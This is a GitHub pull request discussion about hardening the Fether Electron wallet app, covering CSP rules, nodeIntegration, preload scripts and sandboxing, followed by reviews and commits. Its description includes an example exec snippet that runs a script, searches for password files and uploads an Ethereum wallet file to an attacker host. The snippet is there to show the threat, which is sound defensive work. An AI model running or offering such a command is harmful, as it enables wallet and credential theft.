fix: Relates to #124. Security #451

ltfschoen · 2019-02-25T22:42:29Z

Electron Security https://electronjs.org/docs/tutorial/security
- Latest Electron version used
- Dependencies are trusted
  - Only use local files packaged with app to execute Node.js code.
- Defend against XSS and Remote Code Execution (RCE) attacks - Action taken: Attempted in this PR
- Checklist: Security Recommendations
  - Only load secure content
    - Potential issues:
      - Potential issue loading token image files fether-react/src/assets/tokens/foundation.json, since malicious DLL may be appended to the end
      - Unsecure protocols (i.e. http, ws) are allowed in fether-react/public/index.html, but may jeopardise the authenticity and integrity of the loaded resources since it won't be encrypted traffic and 'unsafe-eval' is currently required for Fether to work
    - Proposed solution (as discussed with amaurymartiny):
      - If the token images being appended with malicious DLLs is a serious concern, then we must be safe and should pre-download the token logo images. UPDATE: Only allowing https: in CSP
      - Remove http: in img-src of the CSP to be safe. Token providers will have to put their logos as https://
      - Remove ws: and http: from connect-src in the CSP. We should only allow http: and unsafe-eval in dev mode, as that's required by create-react-app
      - Connection is via ws:// to parity-ethereum https://github.com/paritytech/fether/blob/master/packages/fether-react/src/stores/parityStore.js#L77, though the connection is secure (there are the Sec-* fields in the ws connection in the network tab. Change to wss:// for safety
  - Only load secure content
    - Preload Script to be used. After disabling nodeIntegration, expose custom APIs to the later loaded website that consume Node.js modules or features using a preload scripts, since the preload script has access Node.js features like require, but then the website only has access to methods attached to the window object, but no Node.js features.
  - Disable Node.js integration and Enable contextIsolation in any renderer (i.e. BrowserWindow, BrowserView, or ) that loads remote content to limit power granted. Grant additional permissions for specific hosts (i.e. give websites we are opening such as example.com/ using BrowserWindow only the power it needs.
    - Do not load and execute remote code from untrusted sources when nodeIntegration: true or contextIsolation: false
    - "Only load secure content". Changes required in createWindow.js where we are creating instance of new BrowserWindow
    - UPDATE: See other notes as to why we cannot disable contextIsolation to to need for ipcRenderer
  - Disable Node.js integration to prevent require being available in Chrome Dev Tools Console
    - Example: Electron is Chromium and Node.js combined into a single runtime. So we need to isolate it to prevent untrusted sources being able to hijack the browser and perform XSS like the following in Developer Tools > Console, which currently has access directly with the user's file system. See https://slack.engineering/interops-labyrinth-sharing-code-between-web-electron-apps-f9474d62eccc

var exec = require('child_process').exec;
exec('cd ~; ls; touch evil.sh; bash evil.sh; echo "evil dump"; find . -name "password" -print; curl --upload-file ./ethereum-wallet.json https://myhacksite', function (error, stdout, stderr) {
  console.log('stdout: ' + stdout);
  console.log('stderr: ' + stderr);
  if (error !== null) {
    console.log('exec error: ' + error);
  }
});

- - Investigate Chromium process sandboxing and potentially OS-level app sandboxing (for Windows, Mac, and Linux). Reference: https://slack.engineering/interops-labyrinth-sharing-code-between-web-electron-apps-f9474d62eccc. UPDATE: Separate PR if necessary
- - Handle session permission requests from remote content
    - Custom Handler to be created to handle session permission requests from remote content - https://electronjs.org/docs/tutorial/security#4-handle-session-permission-requests-from-remote-content. UPDATE: See setPermissionRequestHandler
  - Do not disable web security (i.e. ensure webSecurity: true is set) - Action taken: explicitly enabled
  - Define a Content Security Policy (CSP). See Content-Security-Policy metatag in fether-react/public/index.html
  - Do not set allowRunningInsecureContent: true - Action taken: explicitly disabled
  - Do not enable experimental features experimentalFeatures: true - Action taken: explicitly disabled
  - Do not use enableBlinkFeatures - Action taken: explicitly disabled
  - Do not use allowpopups - Action taken: not used
  - Verify WebView Options before creation - Action taken: not used
  - Disable or limit navigation
  - Disable or limit creation of new windows
  - Do not use openExternal with untrusted content
- Vulnerabilities published on the Electron blog mitigation
  - WebView vulnerability fix
- Security testing. UPDATE: Separate PR and external audit
- Electron security warnings enabled. Reference
- Detected Electron security misconfigurations and insecure patterns using electronegativity
```
 npm install @doyensec/electronegativity -g;
 electronegativity -i ./packages/fether-electron/
```
- Review Electron Security Checklist by Doyensec for potential weakness and potential bugs
- Fix Electron Security and Deprecation Warnings that appear in the browser "Toggle Developer Tools > Console". UPDATE: To be addressed in future PR

VM19:1877 Electron Security Warning (Insecure Resources) This renderer process loads resources using insecure
  protocols.This exposes users of this app to unnecessary security risks.
  Consider loading the following resources over HTTPS or FTPS. 
 - http://localhost:3000/static/js/bundle.js
- http://localhost:3000/static/js/0.chunk.js
- http://localhost:3000/static/js/main.chunk.js

For more information and help, consult
https://electronjs.org/docs/tutorial/security.
 This warning will not show up
once the app is packaged.

VM19:1937 Electron Security Warning (Insecure Content-Security-Policy) This renderer process has either no Content Security
    Policy set or a policy with "unsafe-eval" enabled. This exposes users of
    this app to unnecessary security risks.
 
For more information and help, consult
https://electronjs.org/docs/tutorial/security.
 This warning will not show up
once the app is packaged.

Fix all // FIXME comments in this PR. UPDATE: As many as necessary to merge the PR.
Misc
- Update Readme with debugging in development instructions
- Add Webpack additions including add-ons for Webpack build notifications
- Add Source Maps in development for debugging
Update this summary incorporating changes since merging PR from amaurymartiny. amaurymartiny clarified that whilst we've got sandbox: true in the config the reasons why we've removed --enable-sandbox from package.json (which is supposed to sandbox all BrowserWindow instances) is because:
We will only have that one BrowserWindow (or should restrict to only have one)
The script where --enable-sandbox was included in package.json was for yarn electron, which is also mainly used in dev. The final binary won't have --enable-sandbox. Fether passes down --... flags to parity-ethereum (see https://github.com/paritytech/fether#passing-config-flags-to-the-underlying-parity-ethereum-node). So when run, it is as if we ran parity-ethereum --enable-sandbox --some-other-flags, which crashed parity-ethereum
All in all, it might be easier to put sandbox: true, and limit to 1 BrowserWindow.
We must ensure only 1 BrowserWindow is allowed.
Fix preload.js. See amaurymartiny's issue below
- "Uncaught Error: module not found" inside preload script electron-userland/electron-webpack#276
- https://github.com/electron-userland/electron-webpack/blob/master/docs/en/configuration.md
Update WS interface and port based on comments here fix: Relates to #124. Security #451 (comment)
- LS has created WIP commit locally
Fix isDev approach by using appIsPackaged to determine current environment, as highlighted by Amaury and Axel. See fix: Relates to #124. Security #451 (comment)
Future - investigate https://hackmd.io/O1FA34BuSNyJoPV1Cu3L0A
Add removal of wsInterface fix: Relates to #124. Security #451 (comment) to the release notes

Tbaut · 2019-02-27T10:11:33Z

Small conflict, can you resolve it @ltfschoen ?
I requested @axelchalon review because this is above my head.

edit: Sorry, just realized it's not labelled as "pleasereview".

ltfschoen · 2019-02-28T10:44:31Z

Thanks for reviewing it so far, but I'm still reviewing security guides and would prefer to bundle all the changes in the same PR. I've added a checklist of bulletpoints and will try and address as much as possible in the implementation. If I can't implement a security recommendation I'll add a note in the checklist.

amaury1093

Very nice, thanks Luke! This is crucial.

I have a couple of small comments, but overall it looks good to me

'unsafe-eval' is currently required for Fether to work

Only in dev (i.e. with yarn start). If there's a way to have different CSP by NODE_ENV, that'd be perfect.

Dev:
        default-src 'none';
        script-src http: 'unsafe-inline' 'unsafe-eval';
        connect-src http: https: ws: wss:;
        img-src 'self' 'unsafe-inline' file: data: blob: http: https:;
        style-src 'unsafe-inline' blob: file:;
        worker-src 'blob';

Prod:
        default-src 'none';
        script-src file: 'unsafe-inline';
        connect-src http: https: ws: wss:;
        img-src 'self' 'unsafe-inline' file: data: blob: http: https:;
        style-src 'unsafe-inline' blob: file:;
        worker-src 'blob';

(^ can possibly be even more strict, needs testing)

Preload Script to be used

~~No, we don't need preload scripts in Fether.~~ Actually we do.

packages/fether-electron/src/main/index.js

ltfschoen · 2019-03-13T20:25:49Z

'unsafe-eval' is currently required for Fether to work

Only in dev (i.e. with yarn start). If there's a way to have different CSP by NODE_ENV, that'd be perfect.

Dev:
        default-src 'none';
        script-src http: 'unsafe-inline' 'unsafe-eval';
        connect-src http: https: ws: wss:;
        img-src 'self' 'unsafe-inline' file: data: blob: http: https:;
        style-src 'unsafe-inline' blob: file:;
        worker-src 'blob';

Prod:
        default-src 'none';
        script-src file: 'unsafe-inline';
        connect-src http: https: ws: wss:;
        img-src 'self' 'unsafe-inline' file: data: blob: http: https:;
        style-src 'unsafe-inline' blob: file:;
        worker-src 'blob';

(^ can possibly be even more strict, needs testing)

I think you may not have pulled the latest from my branch.
I've pushed a commit that applies the CSP conditional on the NODE_ENV, but if I run it with nodeIntegration: false (uncommented) then it displays Uncaught TypeError: window.require is not a function in the Chrome Inspector > Console when I choose Toggle Developer Tools from the menu, since we've disabled use of Node.js's require, but we're using it to import Electron in fether-react package's parityStore.js file.

In my latest commit nodeIntegration: false is commented out https://github.com/paritytech/fether/pull/451/files#diff-4a03fc50a1d822fd063ef727b280fe84R91

amaury1093 · 2019-03-13T21:21:42Z

I think you may not have pulled the latest from my branch.

Ah ok, that's possible. I'll have another look tomorrow in the morning 👍

ltfschoen · 2019-04-05T15:34:23Z

@amaurymartiny I've pushed commits addressing your latest review comments. I've tested that it works on Linux (Debian 8) using yarn start, yarn electron and building and running the binary

We still need to test that it works on macOS and Windows

amaury1093

Code lgtm!

When I was checking that it worked I create both a non-Parity Signer account plus imported...

This is expected. yarn start, yarn electron and the binary have each their own localStorage, so the signer accounts are not shared (unfortunately).

packages/fether-electron/src/main/app/parityEthereum/index.js

        '--ws-port',
-        cli.wsPort
+        cli.wsPort,
+        '--ws-origins',


amaury1093 · 2019-04-05T15:53:23Z

packages/fether-electron/src/main/app/parityEthereum/index.js

-        cli.wsPort
+        cli.wsPort,
+        '--ws-origins',
+        TRUSTED_WS_ORIGINS


You can remove this. parity by default allows all origins in *.parity

amaury1093

Tiny nit (introduced recently), otherwise I'm okay to merge this 🎉 !

amaury1093 · 2019-04-06T09:48:20Z

package.json

-    "lint-files": "./scripts/lint-files.sh",
-    "lint": "yarn lint-files '**/*.js'",
+    "lint-files": "./scripts/lint-files.sh '**/*.js'",
+    "lint": "yarn lint-files",


Why this change? This makes the pre-commit hook less performant

Without the change it was trying to lint the .ts files and the pre-commit hook was preventing me from pushing

amaury1093 · 2019-04-06T10:40:02Z

Also, I just noticed this: can you remove the package-lock.json?

ltfschoen · 2019-04-06T10:47:20Z

Unfortunately i accidently left my laptop charger in the office so may not be able to address the removal of package-lock.json until Monday

Tbaut

I've tested (linux) an ETH transaction and the link to blockscout was not working and invalid: https://blockscout.com/eth/kovan/tx/undefined/internal_transactions (clicking on it didn't do anything).

other than that things look good 👍

ltfschoen · 2019-04-07T14:24:05Z

I've tested (linux) an ETH transaction and the link to blockscout was not working and invalid: https://blockscout.com/eth/kovan/tx/undefined/internal_transactions (clicking on it didn't do anything).

other than that things look good

thanks! i've pushed a commit to fix this now

amaury1093 · 2019-04-08T09:07:57Z

Let's merge it then! I'll test the generated binaries right after. Thanks Luke for this important PR.

amaury1093 · 2019-04-08T09:24:10Z

yarn.lock

-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/@parity/light.js/-/light.js-5.1.1.tgz#141f4c168f46208b1caa6273161ad9a8b1675862"
-  integrity sha512-AJ/klFpim+lKLxYKpIhJL9Btu4OuXs43lfbBK8XA0kXOV6M51vCv5n+sO5oTWVx6IJE3lXuDIc674H9BC4fcvQ==
+  version "5.1.3"


AH I didn't see this, I merged too fast... @parity/* should NOT have been updated, with this update we cannot send a tx. I'll add a patch asap

ltfschoen added 4 commits January 13, 2019 19:30

feat: Security aspects for fether-electron. See #124

4f6c2fd

chore: merge latest master and fix conflicts

a0a80db

feat: Add Source Maps support

0f9c3d1

docs: Add Source Maps guide to Readme

845c0cc

ltfschoen added the A3-inprogress label Feb 25, 2019

feat: Add webpack-build-notifier add-on with custom Webpack config

944bd9d

ltfschoen force-pushed the luke-124-security branch from 5a06f97 to 944bd9d Compare February 25, 2019 22:55

Tbaut requested a review from axelchalon February 27, 2019 10:10

axelchalon approved these changes Feb 27, 2019

View reviewed changes

Tbaut added A7-looksgoodcantmerge and removed A3-inprogress labels Feb 27, 2019

fix: Remove duplicate dependency

3bb2208

ltfschoen added the A3-inprogress label Feb 28, 2019

Tbaut removed the A7-looksgoodcantmerge label Feb 28, 2019

ltfschoen added 2 commits March 1, 2019 10:46

WIP

c54c4ed

WIP

f6dce7c

amaury1093 suggested changes Mar 13, 2019

View reviewed changes

ltfschoen added 2 commits March 13, 2019 21:07

review-fix: Configure CSP depending on NODE_ENV

02fb145

fix: Fix worker-src for the camera in production

db907c3

review-fix: Remove unnecessary config of source maps dependency

068ef6a

amaury1093 and others added 6 commits March 14, 2019 16:37

Use preload script as buffer between main and renderer processes (#463)

1ee0ffa

merge latest from master

e596cc8

fix: Remove is-electron since now using preload script

8e64347

fix: Remove old preload script

8064e19

fix: Do not expose electron, remote, or require to web app

357ac3a

fix: Add newline

b93a5c9

review-fix: Use NODE_ENV and Electron app.isPackaged

6640fe7

Luke Schoen added 3 commits April 5, 2019 17:35

fix: Rebuild yarn.lock

01726e3

merge latest master and rebuild yarn.lock

783aa35

fix: Fix linting to arg passed to correct script

8e754af

amaury1093 approved these changes Apr 5, 2019

View reviewed changes

amaury1093 added A8-looksgood A7-looksgoodtestsfail and removed A5-grumble A8-looksgood labels Apr 5, 2019

Luke Schoen added 2 commits April 6, 2019 11:11

review-fix: Remove ws-origins flag and trusted ws origins

c4ecc01

test: Fix failing test

f2fe570

amaury1093 approved these changes Apr 6, 2019

View reviewed changes

amaury1093 added A8-looksgood and removed A7-looksgoodtestsfail labels Apr 6, 2019

Tbaut self-requested a review April 6, 2019 15:25

Tbaut reviewed Apr 6, 2019

View reviewed changes

Luke Schoen added 3 commits April 7, 2019 01:33

review-fix: Remove package-lock.json

2ac6625

fix: Use NODE_ENV consistently instead of process.defaultApp

6f574c9

fix: Change to hash instead of transactionHash for blockscout

10146cf

amaury1093 merged commit d0ae207 into master Apr 8, 2019

amaury1093 deleted the luke-124-security branch April 8, 2019 09:08

amaury1093 mentioned this pull request Apr 8, 2019

Add contextIsolation=true #497

Closed

amaury1093 reviewed Apr 8, 2019

View reviewed changes

amaury1093 mentioned this pull request Apr 8, 2019

fix: Fix small bugs after hasty merge #498

Merged

1 task

pmespresso mentioned this pull request Apr 29, 2019

Implement Electron Security Guidelines paritytech/substrate-light-ui#278

Merged

4 tasks

fix: Relates to #124. Security #451

fix: Relates to #124. Security #451

Uh oh!

Conversation

ltfschoen commented Feb 25, 2019 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

Tbaut commented Feb 27, 2019 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

ltfschoen commented Feb 28, 2019

Uh oh!

amaury1093 left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

ltfschoen commented Mar 13, 2019 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

amaury1093 commented Mar 13, 2019

Uh oh!

ltfschoen commented Apr 5, 2019 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

amaury1093 left a comment

Choose a reason for hiding this comment

Uh oh!

This comment was marked as resolved.

Uh oh!

amaury1093 Apr 5, 2019

Choose a reason for hiding this comment

Uh oh!

amaury1093 left a comment

Choose a reason for hiding this comment

Uh oh!

amaury1093 Apr 6, 2019

Choose a reason for hiding this comment

Uh oh!

ltfschoen Apr 6, 2019

Choose a reason for hiding this comment

Uh oh!

amaury1093 commented Apr 6, 2019

Uh oh!

ltfschoen commented Apr 6, 2019

Uh oh!

Tbaut left a comment

Choose a reason for hiding this comment

Uh oh!

ltfschoen commented Apr 7, 2019

Uh oh!

amaury1093 commented Apr 8, 2019 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

amaury1093 Apr 8, 2019

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

5 participants

ltfschoen commented Feb 25, 2019 •

edited

Loading

Tbaut commented Feb 27, 2019 •

edited

Loading

amaury1093 left a comment •

edited

Loading

ltfschoen commented Mar 13, 2019 •

edited

Loading

ltfschoen commented Apr 5, 2019 •

edited

Loading

amaury1093 commented Apr 8, 2019 •

edited

Loading